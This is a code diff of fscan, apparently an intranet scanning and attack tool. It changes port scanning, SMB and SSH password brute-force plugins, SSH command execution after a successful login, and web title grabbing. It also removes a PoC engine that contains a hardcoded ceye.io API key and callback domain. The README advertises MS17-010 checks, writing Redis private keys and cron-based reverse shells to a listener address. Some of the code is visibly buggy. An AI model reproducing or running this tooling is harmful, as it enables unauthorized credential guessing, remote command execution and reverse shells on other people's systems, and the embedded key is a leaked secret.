_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts
|
||||||
|
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"}
|
||||||
|
for _,port:=range common.PORTList{
|
||||||
|
severports = append(severports,strconv.Itoa(port))
|
||||||
|
}
|
||||||
|
severports1 := []string{"1521"}
|
||||||
|
var ch = make(chan int,info.Threads)
|
||||||
|
var wg = sync.WaitGroup{}
|
||||||
|
var scantype string
|
||||||
|
for _,targetIP :=range AlivePorts{
|
||||||
|
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
|
||||||
|
info.Host = scan_ip
|
||||||
|
if info.Scantype == "all"{
|
||||||
|
if IsContain(severports,scan_port){
|
||||||
|
//scantype = scan_port
|
||||||
|
AddScan(scan_port,info,ch,&wg)
|
||||||
|
}else {
|
||||||
|
if !IsContain(severports1,scan_port){
|
||||||
|
info.Url = fmt.Sprintf("http://%s",targetIP)
|
||||||
|
wg.Add(1)
|
||||||
|
go WebTitle(info,ch,&wg) //go scan_func(PluginList,"WebTitle",info,ch,&wg)
|
||||||
|
ch <- 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if scan_port == "445"{
|
||||||
|
AddScan("1000001",info,ch,&wg)
|
||||||
|
AddScan("1000002",info,ch,&wg)
|
||||||
|
}
|
||||||
|
|
||||||
|
}else {
|
||||||
|
port,_:=common.PORTList[info.Scantype]
|
||||||
|
scantype = strconv.Itoa(port)
|
||||||
|
AddScan(scantype,info,ch,&wg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
func AddScan(scantype string,info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
|
wg.Add(1)
|
||||||
|
go scan_func(PluginList,scantype,info,ch,wg)
|
||||||
|
ch <- 1
|
||||||
|
}
|
||||||
+38
-33
@@ -1,69 +1,74 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/stacktitan/smb/smb"
|
"github.com/stacktitan/smb/smb"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"context"
|
||||||
)
|
)
|
||||||
|
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
|
|
||||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
Loop:
|
||||||
for _, user := range common.Userdict["smb"] {
|
for _,user:=range common.Userdict["smb"]{
|
||||||
for _, pass := range common.Passwords {
|
for _,pass:=range common.Passwords{
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
flag, err := doWithTimeOut(info, user, pass)
|
//flag,err := SmblConn(info,user,pass)
|
||||||
if flag == true && err == nil {
|
flag,err := doWithTimeOut(info,user,pass)
|
||||||
var result string
|
//fmt.Println(user,pass,flag,err)
|
||||||
if info.Domain != "" {
|
if flag==true && err==nil {
|
||||||
result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
|
break Loop
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
|
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Username, Password := info.Host, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
|
||||||
options := smb.Options{
|
options := smb.Options{
|
||||||
Host: Host,
|
Host: Host,
|
||||||
Port: 445,
|
Port: 445,
|
||||||
User: Username,
|
User: Username,
|
||||||
Password: Password,
|
Password: Password,
|
||||||
Domain: Domain,
|
Domain: "",
|
||||||
Workstation: "",
|
Workstation: "",
|
||||||
|
Timeout: info.Timeout,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
session, err := smb.NewSession(options, false)
|
session, err := smb.NewSession(options, false)
|
||||||
|
//fmt.Println(err)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
session.Close()
|
defer session.Close()
|
||||||
if session.IsAuthenticated {
|
if session.IsAuthenticated {
|
||||||
|
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
signal <- struct{}{}
|
return flag,err
|
||||||
return flag, err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||||
signal := make(chan struct{})
|
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
|
||||||
|
//ctx,cancel := context.WithTimeout(context.Background(),1*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
signal := make(chan int,1)
|
||||||
go func() {
|
go func() {
|
||||||
flag, err = SmblConn(info, user, pass, info.Domain, signal)
|
flag,err = SmblConn(info,user,pass)
|
||||||
|
signal <- 1
|
||||||
}()
|
}()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case <-signal:
|
case <-signal:
|
||||||
return flag, err
|
return flag,err
|
||||||
case <-time.After(time.Duration(info.Timeout) * time.Second):
|
case <-ctx.Done():
|
||||||
return false, err
|
return false,err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+30
-24
@@ -1,40 +1,46 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/crypto/ssh"
|
"golang.org/x/crypto/ssh"
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
//SshConn(info,"oracle","oracle",ch,wg)
|
||||||
for _, user := range common.Userdict["ssh"] {
|
Loop:
|
||||||
for _, pass := range common.Passwords {
|
for _,user:=range common.Userdict["ssh"]{
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
for _,pass:=range common.Passwords{
|
||||||
flag, err := SshConn(info, user, pass)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
if flag == true && err == nil {
|
//wg.Add(1)
|
||||||
return err
|
//var good bool
|
||||||
} else {
|
//go SshConn(info,user,pass,ch,wg)
|
||||||
errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err)
|
//if good == true{
|
||||||
common.LogError(errlog)
|
// break Loop
|
||||||
tmperr = err
|
//}
|
||||||
|
flag,err := SshConn(info,user,pass,ch,wg)
|
||||||
|
if flag==true && err==nil {
|
||||||
|
break Loop
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
|
||||||
|
//fmt.Println(Host,Port,Username,Password)
|
||||||
config := &ssh.ClientConfig{
|
config := &ssh.ClientConfig{
|
||||||
User: Username,
|
User: Username,
|
||||||
Auth: []ssh.AuthMethod{
|
Auth: []ssh.AuthMethod{
|
||||||
ssh.Password(Password),
|
ssh.Password(Password),
|
||||||
},
|
},
|
||||||
Timeout: time.Duration(info.Timeout) * time.Second,
|
Timeout: time.Duration(info.Timeout)*time.Second,
|
||||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||||
return nil
|
return nil
|
||||||
},
|
},
|
||||||
@@ -44,19 +50,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
if err == nil {
|
if err == nil {
|
||||||
defer client.Close()
|
defer client.Close()
|
||||||
session, err := client.NewSession()
|
session, err := client.NewSession()
|
||||||
if err == nil {
|
if err == nil { //if err == nil && errRet == nil {
|
||||||
defer session.Close()
|
defer session.Close()
|
||||||
flag = true
|
flag = true
|
||||||
if info.Command != "" {
|
if info.Command != ""{
|
||||||
combo, _ := session.CombinedOutput(info.Command)
|
combo,_ := session.CombinedOutput(info.Command)
|
||||||
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
} else {
|
}else {
|
||||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
+56
-62
@@ -1,90 +1,84 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/tls"
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/WebScan"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"net"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func WebTitle(info *common.HostInfo) (err error, result string) {
|
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||||
if info.Ports == "80" {
|
err,result = geturl(info)
|
||||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
wg.Done()
|
||||||
} else if info.Ports == "443" {
|
<-ch
|
||||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
|
||||||
} else {
|
|
||||||
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
|
|
||||||
}
|
|
||||||
|
|
||||||
err, result = geturl(info)
|
|
||||||
if common.IsWebCan || err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if result == "https" {
|
|
||||||
err, result = geturl(info)
|
|
||||||
if err == nil {
|
|
||||||
WebScan.WebScan(info)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
WebScan.WebScan(info)
|
|
||||||
}
|
|
||||||
return err, result
|
return err, result
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
func geturl(info *common.HostInfo) (err error, result string) {
|
func geturl(info *common.HostInfo) (err error, result string) {
|
||||||
url := info.Url
|
url := info.Url
|
||||||
tr := &http.Transport{
|
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
|
||||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
res,err:=http.NewRequest("GET",url,nil)
|
||||||
DisableKeepAlives: false,
|
if err==nil{
|
||||||
DialContext: (&net.Dialer{
|
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||||
Timeout: time.Duration(info.WebTimeout) * time.Second,
|
res.Header.Add("Accept","*/*")
|
||||||
KeepAlive: time.Duration(info.WebTimeout+3) * time.Second,
|
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||||
}).DialContext,
|
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||||
MaxIdleConns: 1000,
|
res.Header.Add("Connection","close")
|
||||||
MaxIdleConnsPerHost: 1000,
|
resp,err:=client.Do(res)
|
||||||
IdleConnTimeout: time.Duration(info.WebTimeout+3) * time.Second,
|
if err==nil{
|
||||||
TLSHandshakeTimeout: 5 * time.Second,
|
|
||||||
}
|
|
||||||
|
|
||||||
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
|
|
||||||
res, err := http.NewRequest("GET", url, nil)
|
|
||||||
if err == nil {
|
|
||||||
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
|
||||||
res.Header.Add("Accept", "*/*")
|
|
||||||
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
|
|
||||||
res.Header.Add("Accept-Encoding", "gzip, deflate")
|
|
||||||
res.Header.Add("Connection", "close")
|
|
||||||
resp, err := client.Do(res)
|
|
||||||
if err == nil {
|
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
var title string
|
var title string
|
||||||
body, _ := ioutil.ReadAll(resp.Body)
|
body, _ := ioutil.ReadAll(resp.Body)
|
||||||
re := regexp.MustCompile("<title>(.*)</title>")
|
re :=regexp.MustCompile("<title>(.*)</title>")
|
||||||
find := re.FindAllStringSubmatch(string(body), -1)
|
find := re.FindAllStringSubmatch(string(body),-1)
|
||||||
if len(find) > 0 {
|
if len(find) > 0{
|
||||||
title = find[0][1]
|
title = find[0][1]
|
||||||
if len(title) > 100 {
|
}else {
|
||||||
title = title[:100]
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
title = "None"
|
title = "None"
|
||||||
}
|
}
|
||||||
result = fmt.Sprintf("WebTitle:%-25v %-3v %v", url, resp.StatusCode, title)
|
if len(title) > 50{
|
||||||
common.LogSuccess(result)
|
title = title[:50]
|
||||||
if resp.StatusCode == 400 && info.Url[:5] != "https" {
|
}
|
||||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
if resp.StatusCode == 400 && string(url[5]) != "https"{
|
||||||
return err, "https"
|
info.Url = strings.Replace(url, "http://", "https://", 1)
|
||||||
|
return geturl(info)
|
||||||
|
}else {
|
||||||
|
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
|
||||||
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
return err, result
|
return err, result
|
||||||
}
|
}
|
||||||
return err, ""
|
|
||||||
}
|
}
|
||||||
return err, ""
|
return err, ""
|
||||||
|
|
||||||
|
//fmt.Print("\n")
|
||||||
}
|
}
|
||||||
|
//var client = &http.Client{
|
||||||
|
// Transport:&http.Transport{
|
||||||
|
// DialContext:(&net.Dialer{
|
||||||
|
// Timeout:time.Duration(info.Timeout)*time.Second,
|
||||||
|
// }).DialContext,
|
||||||
|
// },
|
||||||
|
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||||
|
// return http.ErrUseLastResponse
|
||||||
|
// },
|
||||||
|
//}
|
||||||
|
|
||||||
|
//if info.Cookie!=""{
|
||||||
|
// res.Header.Add("Cookie",info.Cookie)
|
||||||
|
//}
|
||||||
|
//if info.Header!=""{
|
||||||
|
// var header = make(map[string]string)
|
||||||
|
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||||
|
// if err!=nil{
|
||||||
|
// Misc.CheckErr(err)
|
||||||
|
// }
|
||||||
|
// for k,v:=range header{
|
||||||
|
// res.Header.Add(k,v)
|
||||||
|
// }
|
||||||
|
//}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
# fscan
|
# fscan
|
||||||
|
|
||||||
# 简介
|
# 简介
|
||||||
一款内网扫描工具,方便一键大保健。
|
一款内网扫描工具,方便一键大保健。
|
||||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。
|
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。
|
||||||
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
|
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
|
||||||
还在逐步增加功能,欢迎各位师傅提意见。
|
还在逐步增加功能,欢迎各位师傅提意见。
|
||||||
|
|
||||||
@@ -13,16 +13,6 @@
|
|||||||
答:
|
答:
|
||||||
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
|
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
|
||||||
|
|
||||||
## 最近更新
|
|
||||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
|
||||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
|
|
||||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
|
|
||||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
|
|
||||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
|
||||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
|
||||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
|
||||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
|
|
||||||
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
|
|
||||||
|
|
||||||
## usege
|
## usege
|
||||||
简单用法
|
简单用法
|
||||||
@@ -45,36 +35,22 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
|||||||
|
|
||||||
完整参数
|
完整参数
|
||||||
```
|
```
|
||||||
-Num int
|
|
||||||
poc rate (default 20)
|
|
||||||
-c string
|
-c string
|
||||||
exec command (ssh)
|
exec command (ssh)
|
||||||
-domain string
|
|
||||||
smb domain
|
|
||||||
-h string
|
-h string
|
||||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||||
-hf string
|
-hf string
|
||||||
host file, -hs ip.txt
|
host file, -hs ip.txt
|
||||||
-it int
|
|
||||||
Icmp Threads nums (default 11000)
|
|
||||||
-m string
|
-m string
|
||||||
Select scan type ,as: -m ssh (default "all")
|
Select scan type ,as: -m ssh (default "all")
|
||||||
-no
|
-no
|
||||||
not to save output log
|
not to save output log
|
||||||
-nopoc
|
|
||||||
not to scan web vul
|
|
||||||
-np
|
-np
|
||||||
not to ping
|
not to ping
|
||||||
-o string
|
-o string
|
||||||
Outputfile (default "result.txt")
|
Outputfile (default "result.txt")
|
||||||
-p string
|
-p string
|
||||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017")
|
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
|
||||||
-ping
|
|
||||||
using ping replace icmp
|
|
||||||
-pocname string
|
|
||||||
use the pocs these contain pocname, -pocname weblogic
|
|
||||||
-proxy string
|
|
||||||
set poc proxy, -proxy http://127.0.0.1:8080
|
|
||||||
-pwd string
|
-pwd string
|
||||||
password
|
password
|
||||||
-pwdf string
|
-pwdf string
|
||||||
@@ -84,15 +60,13 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
|||||||
-rs string
|
-rs string
|
||||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||||
-t int
|
-t int
|
||||||
Thread nums (default 200)
|
Thread nums (default 100)
|
||||||
-time int
|
-time int
|
||||||
Set timeout (default 3)
|
Set timeout (default 3)
|
||||||
-user string
|
-user string
|
||||||
username
|
username
|
||||||
-userf string
|
-userf string
|
||||||
username file
|
username file
|
||||||
-wt int
|
|
||||||
Set web timeout (default 3)
|
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -109,11 +83,12 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
|||||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
|
||||||

|
## 最近更新
|
||||||
|
2020/11/15
|
||||||
|
[+] 支持ip以文件导入,-hs ip.txt
|
||||||
|
|
||||||
## 未来计划
|
## 未来计划
|
||||||
[*] 合理输出当前扫描进度
|
|
||||||
[*] 增加内网常见高危漏洞
|
[*] 增加内网常见高危漏洞
|
||||||
[*] 增加高危web漏洞扫描
|
[*] 增加高危web漏洞扫描
|
||||||
[*] 师傅们觉得有必要加的漏洞,也可以提issue
|
[*] 师傅们觉得有必要加的漏洞,也可以提issue
|
||||||
@@ -123,5 +98,4 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
|||||||
https://github.com/Adminisme/ServerScan
|
https://github.com/Adminisme/ServerScan
|
||||||
https://github.com/netxfly/x-crack
|
https://github.com/netxfly/x-crack
|
||||||
https://github.com/hack2fun/Gscan
|
https://github.com/hack2fun/Gscan
|
||||||
https://github.com/k8gege/LadonGo
|
https://github.com/k8gege/LadonGo
|
||||||
https://github.com/jjf012/gopoc
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
package WebScan
|
|
||||||
|
|
||||||
import (
|
|
||||||
"embed"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net/http"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
//go:embed pocs
|
|
||||||
var Pocs embed.FS
|
|
||||||
|
|
||||||
func WebScan(info *common.HostInfo) {
|
|
||||||
var pocinfo = common.Pocinfo
|
|
||||||
pocinfo.Target = info.Url
|
|
||||||
err := Execute(pocinfo)
|
|
||||||
if err != nil && common.LogErr {
|
|
||||||
fmt.Println(info.Url, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func Execute(PocInfo common.PocInfo) error {
|
|
||||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
|
||||||
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
|
||||||
if PocInfo.Cookie != "" {
|
|
||||||
req.Header.Set("Cookie", PocInfo.Cookie)
|
|
||||||
}
|
|
||||||
|
|
||||||
if PocInfo.PocName != "" {
|
|
||||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
|
|
||||||
} else {
|
|
||||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@@ -1,206 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"embed"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"math/rand"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"regexp"
|
|
||||||
"sort"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
|
|
||||||
ceyeDomain = "7wtusr.ceye.io"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Task struct {
|
|
||||||
Req *http.Request
|
|
||||||
Poc *Poc
|
|
||||||
}
|
|
||||||
|
|
||||||
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
|
|
||||||
tasks := make(chan Task)
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
for i := 0; i < workers; i++ {
|
|
||||||
go func() {
|
|
||||||
wg.Add(1)
|
|
||||||
for task := range tasks {
|
|
||||||
isVul, err := executePoc(task.Req, task.Poc)
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if isVul {
|
|
||||||
result := fmt.Sprintf("%s %s", task.Req.URL, task.Poc.Name)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
for _, poc := range LoadMultiPoc(Pocs, pocname) {
|
|
||||||
task := Task{
|
|
||||||
Req: req,
|
|
||||||
Poc: poc,
|
|
||||||
}
|
|
||||||
tasks <- task
|
|
||||||
}
|
|
||||||
close(tasks)
|
|
||||||
wg.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
|
||||||
c := NewEnvOption()
|
|
||||||
c.UpdateCompileOptions(p.Set)
|
|
||||||
env, err := NewEnv(&c)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println("environment creation error: %s\n", err)
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
variableMap := make(map[string]interface{})
|
|
||||||
req, err := ParseRequest(oReq)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println(err)
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
variableMap["request"] = req
|
|
||||||
|
|
||||||
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
|
|
||||||
keys := make([]string, 0)
|
|
||||||
for k := range p.Set {
|
|
||||||
keys = append(keys, k)
|
|
||||||
}
|
|
||||||
sort.Strings(keys)
|
|
||||||
|
|
||||||
for _, k := range keys {
|
|
||||||
expression := p.Set[k]
|
|
||||||
if k != "payload" {
|
|
||||||
if expression == "newReverse()" {
|
|
||||||
variableMap[k] = newReverse()
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
out, err := Evaluate(env, expression, variableMap)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println(err)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
switch value := out.Value().(type) {
|
|
||||||
case *UrlType:
|
|
||||||
variableMap[k] = UrlTypeToString(value)
|
|
||||||
case int64:
|
|
||||||
variableMap[k] = int(value)
|
|
||||||
default:
|
|
||||||
variableMap[k] = fmt.Sprintf("%v", out)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if p.Set["payload"] != "" {
|
|
||||||
out, err := Evaluate(env, p.Set["payload"], variableMap)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
variableMap["payload"] = fmt.Sprintf("%v", out)
|
|
||||||
}
|
|
||||||
|
|
||||||
success := false
|
|
||||||
for _, rule := range p.Rules {
|
|
||||||
for k1, v1 := range variableMap {
|
|
||||||
_, isMap := v1.(map[string]string)
|
|
||||||
if isMap {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
value := fmt.Sprintf("%v", v1)
|
|
||||||
for k2, v2 := range rule.Headers {
|
|
||||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
|
||||||
}
|
|
||||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
|
||||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
|
||||||
}
|
|
||||||
|
|
||||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
|
||||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
|
||||||
} else {
|
|
||||||
req.Url.Path = rule.Path
|
|
||||||
}
|
|
||||||
// 某些poc没有区分path和query,需要处理
|
|
||||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
|
||||||
